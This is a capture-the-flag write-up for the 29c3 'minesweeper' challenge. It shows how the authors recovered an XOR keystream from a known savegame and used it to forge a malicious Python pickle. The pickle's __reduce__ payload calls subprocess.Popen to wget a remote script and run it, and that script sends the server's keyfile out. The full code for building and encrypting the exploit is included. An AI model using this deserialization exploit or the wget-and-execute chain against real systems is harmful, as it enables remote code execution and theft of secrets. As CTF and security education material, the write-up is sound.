29c3ctf - minesweeper

Challenge Overview

The challenge was presented as a game to be played over the internet. Players could access the game and play a command line version of minesweeper by connecting to a port on the game server. The ultimate object however was the retrieval of a flag placed in the current working directory of the game server code. Initial recon showed that the game was written in python, and used the python pickle module. Since misuse of this serialization module is known to lead to code vulnerabilities, our goal was to gain remote code execution via a crafted pickle object in order to obtain the flag.



We initially read through the code and the save and load functions immediately stood out. The save game is created by pickling (serializing) the state of the game, and then encrypting it and its hash. Likewise, a saved game is loaded by decrypting the data, validating the hash, and then loading in the pickled data.

The vulnerability is obvious - if we can can cause the code to unpickle a malicious object, we can execute arbitrary code on the remote machine. So the question to answer is: How can we access it?

Let’s examine the save and load procedures in detail. There is a 4K keyfile that’s stored on the disk that persists across multiple games. The save game is created by concatenating a ‘magic’ string, the SHA-1 hash of the pickled save game, and the pickled save game itself, and then XORing that string with the keyfile. The result of this XOR is then base64 encoded and sent to the user.

The loading is the inverse: Base64-decode the user-input, XOR that with keyfile, examine the magic value and the hash, and then load in the pickled data.

This simple XOR cipher has a very obvious weakness: If we have an encrypted message and it’s corresponding plaintext, we can compute the key.

c = m XOR k
c XOR m = m XOR k XOR m = (m XOR m) XOR k = 0 XOR k = k

Once we have k, we can encrypt any data we want, and as long as we format it correctly, it will be accepted as a valid savegame.

The method of attack

In order to get a known message, we created a savegame when the game first began, where the only data stored in the Field object is the location of the mines. When we completed the game, we then knew the location of every mine. At this point, constructing a custom ‘game’ and running the savegame function allowed us to get a known plaintext.

# Python code:
mines = [(0, 3), (1, 10), (2, 13), (3, 5), (4, 4), (4, 12), (5, 13), (7, 11), (8, 8), (9, 4), (9, 12), (9, 13), (10, 10), (10, 11), (10, 12), (11, 2), (13, 6), (13, 15), (14, 0), (15, 5)]

# Build our custom savegame:
field = Field(16,16,20)
# Replace the mines with our own
field.mines = sorted(mines)

Now, in order to execute arbitrary code, we need to define a class with a __reduce__ method, and what it returns will be executed by the remote machine.

Now the problem is that we only have this single line of code that can be executed, but we need to do more. The simplest approach was to chain a second python script as a full payload, which would upload the keyfile to our FTP server. So we used subprocess.Popen to execute wget, fetch our script from github, and then execute it.

# Build exploit
# Downloads a python script with wget, and executes it.
class Payload(dict):
def __reduce__(self):
  import subprocess
  return subprocess.Popen, ('wget http://bit.ly/XXXXXX && python XXXXXX',0, None, None, None, None, None, False, True)

Now that we have an exploit and payload, we can put it together:

payload = pickle.dumps(Payload(), 1)
exploit = SECRET + hashlib.sha1(payload).digest() + payload

encrypted = ""
for i, byte in enumerate(exploit):
  encrypted += chr(ord(byte) ^ ord(key[i % 4096]))
encoded = base64.standard_b64encode(encrypted)

print encoded

And success! ‘flag.txt’ is ours!



Python pickling is dangerous (duh.) (wget + bit.ly) && [interpreter] is a nice and clean way to chain a more-complex payload. Notes I learned the hard way that only the function returned by __reduce__ is executed on the machine that loads in the pickled data - the rest of the function is executed on the machine that does the pickling.

A complication we encountered while writing our payload was that we only recovered a ~250 bytes of the 4K key. So we couldn’t encrypt any payload- only ones that were below that size. I tried extracting more key bits by reconstructing the completed saved game (instead of only when it was first started), but the resulting plaintext significantly differed in size from the ciphertext. It was theorized that this was because of the ordering of the key insertion within the internal dictionaries, but it would be nice to confirm this.

We also looked into pickle shellcoding, but that wasn’t fruitful - the created payload was larger than the amount of recovered key bits. ( See www.toniblogs.com/08/2012/security/shellcoding-with-python-pickles/ and https://github.com/tonigithubs/anapickle for more details.)

I initially looked into using the ftp client that’s built-in for sending over the file, but doing that in a shell looked like it was going to be a pain and wouldn’t fit in the size limit.

The reason subprocess.Popen has so many arguments is because we need the shell argument to be true, in order to execute a shell command that launches more than one program.